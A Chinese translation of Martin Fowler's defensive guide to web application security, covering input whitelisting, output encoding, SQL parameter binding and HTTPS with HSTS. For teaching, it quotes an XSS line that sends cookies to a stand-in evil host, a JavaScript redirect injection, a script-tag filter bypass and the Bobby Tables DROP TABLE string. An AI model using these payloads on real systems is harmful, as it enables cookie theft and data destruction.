[譯] Martin Fowler - Web 應用安全基礎

Github Repo:https://github.com/wxyyxc1992/infosecurity-handbook/blob/master/Reinforce/WebSecurity/basics-of-web-application-security.md
原文:The Basics of Web Application Securityphp

現代的軟件開發者已經有點像瑞士軍刀了,首先,你須要來保證完成用戶的功能或者業務需求,而且要保證又快又好地完成。其次,你但願你的代碼可以擁有充分的可理解性或者可擴展性:可以隨着IT需求的快速變遷而有着充分的擴展空間,與此同時還須要穩定與可用。開發者必須列舉出有用的接口,優化數據庫,以及頻繁地創建或者維護一個交付渠道。不過,當咱們審視這長長的需求列表的時候,在快速、低成本以及靈活可擴展之下的,便是安全性。或許直到一些東西出了問題,或者你構建的系統被攻擊了以後才能深入感覺到安全才是最重要的。安全這個概念有點像性能,是個泛化的跨越了多個領域的概念。因此一個開發者怎麼才能在模糊的安全需求與未知的風險面前選擇合適的開發規劃呢?固然若是可以明確這些安全需求與定位到威脅的話毫無疑問很是值得推薦,可是這個準備自己就須要耗費大量的時間與金錢。html

Trust(信賴)

首先,在討論具體的輸入輸出以前,咱們須要來強調下自認爲安全中最重要也是最根本的原則:Trust。做爲一個開發者,也須要不斷地問本身,咱們相信來自於用戶瀏覽器的請求嗎?咱們相信上游系統正常工做來保證了咱們數據的乾淨與安全嗎?咱們相信服務器與瀏覽器之間的信道就不會被監聽或者僞造嗎?咱們相信咱們系統自己依賴的服務或者數據存儲嗎?呵呵,都不可信。git

固然,就像安全同樣,Trust也不是一個雙選題,非黑即白。咱們須要明白系統的風險忍受力與數據的安全邊界。爲了可以正確的、基於某個統一規則的預估,咱們須要審視威脅與風險,這個評估方法與標準會在另外一篇文章中講解。github

Reject Unexpected Form Input(拒絕未知的表單輸入)

HTML表單自己就可能帶來些好像很安全的錯覺,表單的構建者確定以爲他們限制了輸入類型、作了數據校驗,這樣整個表單輸入就是安全的。但確信無疑的是,這只是個錯覺,儘管客戶端地JavaScript腳本能夠從安全地角度來講提供完整的校驗。web

Untrusted Input

不管咱們是否在客戶端提供了表單驗證或者是否使用了HTTPs鏈接,咱們可以信賴來自用戶瀏覽器的鏈接的比例都是0。用戶能夠輕易地在發送以前修改標記,或者使用相似於curl這樣的命令行來提交沒有通過校驗的數據。乃至於一個不明因此的用戶可能在一個懷有惡意的網站莫名其妙地添了些內容。瀏覽器的同源策略並不可以避免來自於惡意站點的提交。爲了保證輸入數據的完整性,服務器端務必要進行數據校驗。算法

不過估計有人有疑問了,爲啥說這個畸形的數據就會致使安全問題呢?這每每取決於你的應用業務邏輯與輸出的編碼,爲了不不可預知的行爲、數據泄露與潛在攻擊,須要在輸入的數據與可執行代碼之間架構一個過濾層。譬如,咱們的表單裏有一個選擇的按鈕來容許用戶選擇合適的通訊類型,咱們的業務邏輯代碼多是這樣的:數據庫

final String communicationType = req.getParameter("communicationType");
if ("email".equals(communicationType)) {
    sendByEmail();
} else if ("text".equals(communicationType)) {
    sendByText();
} else {
    sendError(resp, format("Can't send by type %s", communicationType));
}

上面代碼危不危險取決於sendError這個方法是怎麼定義的,而咱們確定沒法肯定下游的代碼就必定是安全的。最好的選擇就是咱們在控制流中移除這個危險,而使用的方法就是輸入驗證。瀏覽器

Input Validation

輸入驗證便是保證明際輸入與應用預期的輸入的一致性。超出預期的輸入數據會致使咱們系統拋出未知的結果,譬如邏輯崩壞、觸發錯誤乃至於容許攻擊者控制系統的一部分。其中像數據庫查詢這樣的可以在服務端做爲可執行代碼的輸入與JavaScript這樣在客戶端可以被執行的代碼更是特別的危險。所以驗證輸入時保證系統安全性與防衛危險的第一道防線。緩存

開發者們在構建應用系統的過程當中會進行一些基本的驗證,譬如判斷值是否爲空或者是否爲正數。而從安全的角度考慮,咱們須要將輸入限定到系統容許的最小集合中,譬如數值型值能夠被限定在某個特定的範圍內。譬如,系統不會容許用戶將一個負值添加到購物車中。這種限制性的驗證手段就是所謂的positive validation或者whitelisting。一個白名單能夠用於限定某個具體的URL或者yyyy/mm/dd這樣的時間日期。它能夠限制輸入的長度、單個字符的編碼規範或者上面例子中的只有給定值能夠被接受。安全

另一種考慮輸入驗證的思惟角度就是把它當作服務端與消費者之間簽定的一種協議,任何違背了這個協議的請求都是無效的而且被拒絕。你的這個協議越嚴格,你的系統在未知狀況下遭受的風險就會越小。而當對於某個輸入驗證失敗以後,開發者也要好好考慮應該如何反饋。最嚴格,也是最有爭議的辦法就是所有拒絕,而且沒有任何反饋,不過要注意將這個事情經過日誌或者監控記錄下來。不過爲啥一點反饋都沒有呢?咱們須要提供給用戶哪些信息是無效的嗎?這一點仍是要取決於你的約定。在上面的例子中,若是你接收到了除了email或者text以外的內容,那你有可能被攻擊了。不過若是你進行了反饋,可能正中全套。譬如若是開發者直接返回:俺們並不認識你傳入的communicationType,可能這個還無傷大雅,可是若是是這樣的呢:

<script>new Image().src = ‘http://evil.martinfowler.com/steal?' + document.cookie</script>

這種狀況下你就會面臨一個用來盜取你的Cookies的XSS攻擊代碼,若是你必定要給用戶反饋,你必須保證不會把不受信任的用戶內容直接返回,而應該使用固定的提示信息。若是你不可避免地要把用戶的輸入反饋回去,你要保證它是被編碼的。

In Practice

實踐中,咱們常常要經過過濾<script>標籤來避免一些攻擊,過濾掉這些包含着危險值的輸入的方法就是所謂的negative validation 或者blacklisting。不過這種方法的麻煩之處在於潛在的危險輸入是至關多的,不少時候不能勝數。維持一個龐大的危險輸入的列表多是耗費較大的操做,這須要進行頻繁地更新。若是你真的須要一個黑名單,這就須要覆蓋你全部的測試用例,編寫高質量的測試代碼,遵循OWASP的XSS_Filter_Evasion_Cheat_Sheet原則。

對於危險輸入的過濾,咱們經常稱之爲sanitization,便是在輸入中移除那些黑名單中的元素而不是直接拒絕。不過這種黑名單機制,很難保證徹底正確,每每也會給攻擊者更多地漏洞機會。譬如,在上面的例子中,咱們是選擇移除<script>標籤,而一個攻擊者能夠經過輸入下面這樣的字符串來逃避檢查:

<scr<script>ipt>

在現代的Web應用程序開發中,已經有不少現成的框架提供了基礎的過濾功能。內建的對於郵件地址、信用卡號碼等等過濾仍是灰常好用的,使用這些網絡框架提供的驗證機制能夠有效避免一些嚴重的錯誤,譬如:

Framework Approaches
Java Hibernate (Bean Validation)
ESAPI
Spring Built-in type safe params in Controller
Built-in Validator interface (Bean Validation)
Ruby on Rails Built-in Active Record Validators
ASP.NET Built-in Validation (see BaseValidator)
Play Built-in Validator
Generic JavaScript xss-filters
NodeJS validator-js
General Regex-based validation on application inputs

In Summary

  • 儘量地使用白名單

  • 在不能用白名單的時候用黑名單

  • 儘量地使用嚴格約定

  • 確保警示潛在的攻擊

  • 避免直接地輸入反饋

  • 儘量地在不可信數據深刻系統邏輯以前進行處理,或者直接使用你的框架的白名單機制

Encode HTML Output:HTML輸出內容編碼

除了上述所說的對於輸入的過濾與限制以外,Web應用的開發者還須要關注返回的數據。一個現代的Web應用每每會用HTML標記來構建文檔結構,用CSS來構建文檔樣式,JavaScript來構建應用邏輯。一個HTML文檔一般使用像<script>或者<style>這樣的標記來進行切割。用戶可能在沒料到的地方使用尖括號,特別是在一個可執行的上下文中附着一些特定內容,譬如HTML與JavaScript都會包含URL,只不過它們各有各的處理方法。

Output Risks

HTML自己是一個很是很是寬鬆自由的格式,瀏覽器會盡量地來渲染內容,即便發現了些格式錯誤。這一點對於開發者很是友好,不過這也是一個很大的漏洞的源泉。攻擊者可能在向你的頁面中注入一些內容來打破可執行的上下文,甚至不須要考慮整個頁面是否有效。處理輸出內容並不必定是安全地考慮,應用從數據庫與上游服務中獲取的渲染數據務必保證不會影響到整個應用,不過從不可信的數據源獲得的渲染內容仍是會存在很大的風險。就如上文所說的,開發者應該拒絕那些超出約定的輸入,不過有時候咱們不可避免的須要接收像尖括號那樣的可能更改咱們的代碼的內容,這也就是下面所說的output encoding所須要起做用的地方。

Output Encoding

輸出編碼便是將輸出的數據流轉化爲最終的輸出的格式,輸出編碼的難點或者複雜的地方在於須要根據輸出數據流向的不一樣選定不一樣的編碼方式。若是沒有合適的編碼方式,應用可能會給客戶端提供一個錯誤格式的數據,致使輸出數據不可用乃至於存在必定風險。攻擊者每每會利用錯誤的編碼方式中的漏洞使得整個輸出數據的結構失控。譬如在咱們的電商系統中有個用戶叫作Sandra Day O'Connor,系統會在該用戶登陸的時候輸出一個歡迎辭,那麼當她的名字渲染到HTML頁面上的時候,效果大概是這樣的:

<p>The Honorable Justice Sandra Day O'Connor</p>

The Honorable Justice Sandra Day O'Connor

開發者指望的正是這樣渲染得出的界面,不過若是咱們是基於MVC架構開發出了一個動態網頁,名字會經過JS腳本動態地插入到頁面中,示例代碼以下:

document.getElementById('name').innerText = 'Sandra Day O'Connor' //<--unescaped string

而這樣的代碼正是攻擊者們孜孜不倦尋找的漏洞點來執行他們的自定義代碼,若是另外一個用戶Chief Justice這樣的輸入他的名字:

Sandra Day O';window.location='http://evil.martinfowler.com/';

那麼全部看到他名字頁面的用戶都會被重定向到一個危險的站點,而若是咱們應用正確地在這個JS上下文中進行了編碼,整個編碼以後的文本以下所示:

'Sandra Day O\';window.location=\'http://evil.martinfowler.com/\';'

那麼整個文本雖然看上去有點雜亂,可是已經變成了沒有任何危害的不可執行的代碼。通常來講咱們有不少種方式能夠來對JS進行編碼,最多見的就是使用轉義字符。

好消息是絕大部分現代Web框架都提供了將內容安全編碼與過濾保留字符的功能。不過大部分開發者會忽略乃至於主動關閉這種過濾編碼功能從而去執行他們自認爲的安全的可執行代碼。

Cautions and Caveats

關於輸出編碼這部分還有幾個須要瞭解的地方,重要的事情多強調幾遍,必定要選擇一個自帶編碼功能的框架。另外還須要注意的是,儘管一個框架能夠安全地渲染HTML,也不表明他能夠安全地渲染PDF或者JavaScript。

另外一個咱們在應用開發過程當中常常遇到的狀況,就是不少開發者習慣在獲取用戶的原始輸入後進行編碼而後存入數據庫中。譬如若是你在將數據入庫以前就把純文本格式的數據編碼成HTML格式,而後在須要渲染成其餘格式的地方還須要先把HTML反編碼而後再編譯成其餘格式。這無故會增長不少複雜性和額外的工做,所以最好直接以原始數據格式存入到數據庫中,而後在渲染時在將它們進行編碼。

In Summary

  • 以合適的編碼手段對全部從應用中吐出的數據進行編碼

  • 儘量地使用框架提供的輸出編碼功能

  • 儘可能避免嵌入式渲染上下文

  • 以原始格式存放數據,在渲染時進行編碼

  • 避免使用不安全的框架與規避了編碼的JS調用

Bind Parameters for Database Queries

無論你是用SQL在一個關係型數據庫中進行查詢,仍是用ORM框架,或者直接使用一個NoSQL數據庫,你都須要考慮到怎麼把用戶輸入的數據集成進你的查詢語句中。數據庫多是一個Web應用程序中最關鍵與緊要的部分,由於它存放了大量的沒法重現的狀態數據。譬如一個數據庫中可能存放着大量的關鍵的與敏感的客戶信息,也正是這些數據驅動着整個應用與邏輯的運行。所以你確定但願開發者在和數據庫打交道的時候要慎之又慎,不過數據庫注入攻擊仍是很盛行啊。

Little Bobby Tables

不少關於數據庫中參數綁定的討論都會包含著名的2007年的Little Bobby Tables事件,這個事件能夠用一個漫畫描述以下:

爲了便於分析這個漫畫所要表達的含義,咱們假設這個成績追蹤系統有一個用於增長新的學生信息的函數:

void addStudent(String lastName, String firstName) {
        String query = "INSERT INTO students (last_name, first_name) VALUES ('"
                + lastName + "', '" + firstName + "')";
        getConnection().createStatement().execute(query);
}

若是輸入的參數是"Fowler"與"Martin",那麼最終構造出的SQL語句爲:

INSERT INTO students (last_name, first_name) VALUES ('Fowler', 'Martin')

不過若是輸入的是上面那娃的名字,那麼整個待執行的SQL語句就變成了:

INSERT INTO students (last_name, first_name) VALUES ('XKCD', 'Robert’); DROP TABLE Students;-- ')

實際上,這個SQL語句一共執行了兩個操做:

INSERT INTO students (last_name, first_name) VALUES ('XKCD', 'Robert')

DROP TABLE Students

最後的--註釋是爲了屏蔽餘下的內容,保證整個SQL語句可以穩定執行。相似於這樣的攻擊載荷可以執行任意的SQL語句,換言之,攻擊者可以在數據庫內像這個應用系統同樣作任何事情。

採用參數綁定來解決這個問題

對於上文描述的這種場景,若是隻是依賴於簡單的清洗過濾,確定沒法應付全部的攻擊載荷,這也不是一個正道。基本上可以採起的方法就是所謂的參數綁定,譬如JDBC中提供的PreparedStatement.setXXX()方法,參數綁定能夠將像SQL這樣的可執行代碼與須要進行編碼、過濾的內容區分開來:

void addStudent(String lastName, String firstName) {
        PreparedStatement stmt = getConnection().prepareStatement("INSERT INTO students (last_name, first_name) VALUES (?, ?)");
        stmt.setString(1, lastName);
        stmt.setString(2, firstName);
        stmt.execute();
 }

通常來講,一個功能比較全面地數據訪問層都會提供這種參數綁定的功能,開發者在開發的時候就要注意將全部的不受信任的輸入經過參數綁定生成SQL語句。

Clean and Safe Code

有時候咱們開發時會遇到一個兩難的問題,便是好的安全性與乾淨整潔的代碼之間的衝突。爲了保證安全性每每須要咱們增長些額外的代碼,不過在上面的例子中咱們仍是同時達成了較高的安全性與好的代碼設計。使用綁定的參數不只能使應用系統免於注入攻擊,還能經過在代碼與內容之間構建清晰的邊界來增長整個代碼的可讀性,而且與手動拼接相比還能大大簡化構造可用的SQL的過程。當你用參數綁定來代替本來的格式化字符串或者字符串拼接來構造SQL的時候,你會發現還能用全局的綁定方程來完成這一工做,這又會大大增長整個代碼的整潔度與安全性。

Common Misconceptions

有一個常見的錯誤思惟就是以爲存儲過程可以避免SQL注入攻擊,可是這個只有在你是經過參數綁定的方式傳入參數的狀況下。若是存儲過程自己也是用的字符串鏈接的方式,那麼一樣存在SQL注入攻擊的風險。相似的,像ActiveRecord、Hibernate或者.Net Entity這樣的框架,也是隻有在用參數綁定來構造SQL的狀況下才會進行SQL注入清洗。

最後,還有一個常見的錯覺就是NoSQL數據庫不會被SQL注入攻擊影響。這確定是不對的,全部的查詢語言,不管是否是SQL都須要在可執行代碼與輸入的內容之間劃定明晰的邊界來防止參數混淆可執行的命令。攻擊者會不停尋找可以在運行時打破這種邊界隔離的方法從而進行潛在的攻擊。即便是Mongodb,採用了二進制的協議與多種語言特定的API都會存在被注入的風險,譬如$where這個操做符。

Parameter Binding Functions

Framework Encoded Dangerous
Raw JDBC Connection.prepareStatement() used with setXXX() methods and bound parameters for all input. Any query or update method called with string concatenation rather than binding.
PHP / MySQLi prepare() used with bind_param for all input. Any query or update method called with string concatenation rather than binding.
MongoDB Basic CRUD operations such as find(), insert(), with BSON document field names controlled by application. Operations, including find, when field names are allowed to be determined by untrusted data or use of Mongo operations such as "$where" that allow arbitrary JavaScript conditions.
Cassandra Session.prepare used with BoundStatement and bound parameters for all input. Any query or update method called with string concatenation rather than binding.
Hibernate / JPA Use SQL or JPQL/OQL with bound parameters via setParameter Any query or update method called with string concatenation rather than binding.
ActiveRecord Condition functions (find_by, where) if used with hashes or bound parameters, eg: where (foo: bar)where ("foo = ?", bar) Condition functions used with string concatenation or interpolation: where("foo = '#{bar}'")where("foo = '" + bar + "'")

In Summary

  • 避免直接從用戶的輸入中構建出SQL或者等價的NoSQL查詢語句

  • 在查詢語句與存儲過程當中都使用參數綁定

  • 儘量使用框架提供好的原生的綁定方法而不是用你本身的編碼方法

  • 不要以爲存儲過程或者ORM框架能夠幫到你,你仍是須要手動調用存儲過程

  • NoSQL 也存在着注入的危險

Protect Data in Transit

當咱們着眼於系統的輸入輸出的時候,還有另外一個重要的店須要考慮進去,就是傳輸過程當中數據的保密性與完整性。在使用原始的HTTP鏈接的時候,由於服務器與用戶之間是直接進行的明文傳輸,致使了用戶面臨着不少的風險與威脅。攻擊者能夠用中間人攻擊來輕易的截獲或者篡改傳輸的數據。攻擊者想要作些什麼並無任何的限制,包括竊取用戶的Session信息、注入有害的代碼等,乃至於修改用戶傳送至服務器的數據。

咱們並不能替用戶選擇所使用的網絡,他們頗有可能使用一個開放的,任何人均可以竊聽的網絡,譬如一個咖啡館或者機場裏面的開放WiFi網絡。普通的用戶頗有可能被欺騙地隨便連上一個叫免費熱點的網絡,或者使用一個能夠隨便被插入廣告的網路當中。若是攻擊者會竊聽或者篡改網路中的數據,那麼用戶與服務器交換的數據就好不可信了,幸虧咱們還可使用HTTPS來保證傳輸的安全性。

HTTPS and Transport Layer Security

HTTPS最先主要用於相似於經融這樣的安全要求較高的敏感網絡,不過如今日漸被各類各樣的網站鎖使用,譬如咱們經常使用的社交網絡或者搜索引擎。HTTPS協議使用的是TLS協議,一個優於SSL協議的標準來保障通訊安全。只要配置與使用得當,就能有效抵禦竊聽與篡改,從而有效保護咱們將要去訪問的網站。用更加技術化的方式說,HTTPS可以有效保障數據機密性與完整性,而且可以完成用戶端與客戶端的雙重驗證。

隨着面臨的風險日漸增多,咱們應該將全部的網絡數據當作敏感數據而且進行加密傳輸。已經有不少的瀏覽器廠商宣稱要廢棄全部的非HTTPS的請求,乃至於當用戶訪問非HTTPS的網站的時候給出明確的提示。不少基於HTTP/2的實現都只支持基於TLS的通訊,因此咱們如今更應當在所有地方使用HTTPS。

目前若是要大範圍推廣使用HTTPS仍是有一些障礙的,在一個很長的時間範圍內使用HTTPS會被認爲形成不少的計算資源的浪費,不過隨着現代硬件與瀏覽器的發展,這點計算資源已經不足爲道。早期的SSL協議與TLS協議只支持一個IP地址分配一個整數,不過如今這種限制所謂的SNI的協議擴展來解決。另外,從一個證書認證機構獲取證書也會打消一些用戶使用HTTPS的念頭,不過下面咱們介紹的像Let's Encrypt這樣的免費的服務就能夠打破這種障礙。

Get a Server Certificate

對於網站的安全認證依賴於TLS的底層的支持,若是客戶端只是根據網站說它本身是誰就是誰,那麼攻擊者能夠輕易的使用中間人攻擊來模擬站點,從而繞過全部協議提供的安全機制。在使用了TLS協議以後,一個網站能夠用它的公鑰證書來證實它本身是誰。在某些系統中客戶端也須要用公鑰證書證實本身是誰,不過大部分狀況下受限於爲用戶管理證書的複雜性,這個並無普遍使用。除非一個網站證書的真實性已經通過了驗證,否則客戶端在收到一個證書的時候也要經過必定的手段來驗證證書的真實性。而在Web瀏覽器或者其餘的應用中,每每是經過一個第三方的稱做CA的機構來管理證書而且提供驗證功能,包括驗證這個證書與證書所屬網站的真實性。

若是咱們經過其餘渠道已經可以提早得知某個證書是否可信,那也就不必再通過第三方機構進行仲裁。譬如一個移動APP或者其餘應用在分發的時候就會內置一些證書從而在使用時來驗證站點是否真實可信。大部分關於HTTPS是否可信的指示會在瀏覽器訪問某個HTTPS的站點的時候顯示出來,若是沒有的話瀏覽器會顯示一個告警信息來警告用戶不要訪問不可信的站點。

在測試的時候咱們能夠本身建立配置一個證書用於HTTPS認證,不過若是你要提供服務給普通用戶使用,那麼仍是須要從可信的第三方CA機構來獲取可信的證書。對於不少開發者而言,一個免費的CA證書是個不錯的選擇。當你搜索CA的時候,你可能會遇到幾個不一樣等級的證書。最多見的就是Domain Validation(DV),用於認證一個域名的全部者。再往上就是所謂的Organization Validation(OV)與Extended Validation(EV),包括了驗證這些證書的請求機構的信息。雖然高級別的證書須要額外的消耗,不過仍是很值得的。

Configure Your Server

當你申請到了證書以後,你就能夠開始配置你的服務器支持HTTPS了。雖然HTTPS啊,包括TLS/SSL的原理好像要個密碼學的PHD學位才能理解,可是要把他們配置着用起來仍是很容易的呦。不一樣的加密算法與站點使用的協議的版本差別會大大影響到它可以提供的通訊的安全級別。因此咋才能一方面保證咱們站點的安全性另外一方面又保證那些使用老版本的瀏覽器的用戶也能正常使用網站服務呢?這裏要推薦下Mozilla提供的Security/Server Side TLS工具,能夠協助來自動建立適用的Web服務器的配置。

Use HTTPS for Everything

如今咱們常常碰到一些網站僅僅只用HTTPS來保護部分資源,有些狀況下只會保護一些對於敏感資源的提交操做。另外一些狀況下,部分網站只會將HTTPS用於自認爲敏感的資源上,譬如一個用戶登陸以後才能見到的東西每每是HTTPS加密的。而如今的麻煩事還有不少站點並未使用HTTPS來保護本身,致使整個網站還處於被中間人攻擊的危險之下。筆者非常建議這類網站應該直接關閉掉HTTP端口從而強制性讓用戶轉到HTTPS,雖然這並非一個理想的解決方案,不過估計是最好的解決方法。

若是是在Web瀏覽器中呈現的資源,那能夠添加一個HTTP請求轉發的配置,來將全部的HTTP請求轉發到HTTPS端口上,譬如:

# Redirect requests to /content to use HTTPS (mod_rewrite is required)
RewriteEngine On
RewriteCond %{HTTPS} != on [NC]
RewriteCond %{REQUEST_URI} ^/content(/.*)?
RewriteRule ^ https://%{SERVER_NAME}%{REQUEST_URI} [R,L]

Use HSTS

讓用戶從HTTP遷移到HTTPS能夠來避免使用原始的HTTP請求帶來的風險。爲了幫助站點把用戶從HTTP遷移到HTTPS,現代的瀏覽器支持一個很是強力的安全特徵叫作HSTS(HTTP Strict Transport Security),來告訴瀏覽器我這個站點只會接收來自於HTTPS的請求。這個特性最先來自於2009年的Moxie Marlinspike's提出的一個用於演示基於HTTP的潛在危險的SSL剝離攻擊。能夠用以下的設置來啓用這個特性:

Strict-Transport-Security: max-age=15768000

上述的設置會告訴瀏覽器只和使用HTTPS的站點進行交互,HSTS是一個很是重要的強制使用HTTPS的特性。一旦開啓以後,瀏覽器會自動把不安全的HTTP請求切換到HTTPS,儘管用戶沒有顯式的輸入"https://"。而在瀏覽器端開啓HSTS特性只須要添加以下的一行代碼:

<VirtualHost *:443>
    ...

    # HSTS (mod_headers is required) (15768000 seconds = 6 months)
    Header always set Strict-Transport-Security "max-age=15768000"
</VirtualHost>

不過如今並非全部的瀏覽器都支持HSTS特性,你能夠經過訪問 Can I use. 來看看你面向的用戶經常使用的瀏覽器能不能使用。

Protect Cookies

瀏覽器目前有內建的安全機制來避免包含敏感信息的Cookie暴露出來。在Cookie中設置secure標識位可以強制讓瀏覽器只會用HTTPS來傳遞Cookie,若是你已經使用了HSTS也要記得這樣設置來保護Cookie。

Other Risks

即便你全站都用了HTTPS,也仍是有幾個地方可能致使敏感信息的泄露的。譬如若是你直接把敏感數據放在URL裏面,而後這個敏感的URL又被緩存在了瀏覽器的歷史記錄裏。除此以後,若是包含了敏感信息的站點被連接到了其餘的網站中,那麼在用戶點擊連接以後整個敏感數據就會被放在Referer Header中而後傳送過去,而後就呵呵了。另外,有時候由於你們都懂的緣由咱們會使用一些代理而後容許他們監控HTTPS的流量,也是有危險地,這個時候就要在Header中來關閉緩存從而下降風險。筆者建議你能夠參考OWASP Transport Protection Layer Cheat Sheet 來收穫一些有用的建議。

Verify Your Configuration

最後一步,你要仔細驗證你的配置是否有效。有不少的在線工具能夠幫你作這件事,譬如SSL Lab的SSL Server Test可以幫你深度分析你的HTTPS的配置,再看看是否是有啥地方配錯了。這個工具會在發現了新的攻擊手段與協議更新以後實時更新,因此多用用它仍是個很不錯的事情嗷。

In Summary

  • 啥地方都要用HTTPS

  • 採用HSTS來強制使用HTTPS

  • 別忘了從可信的證書機構中請求可信證書

  • 不要亂放你的私鑰

  • 用合理的配置工具來生成可靠地HTTPS配置

  • 在Cookie中設置"secure"標識

  • 不要把敏感的數據放在URL中

  • 隔一段時間就要好好看看你的HTTPS的配置,表過期了

相關文章
相關標籤/搜索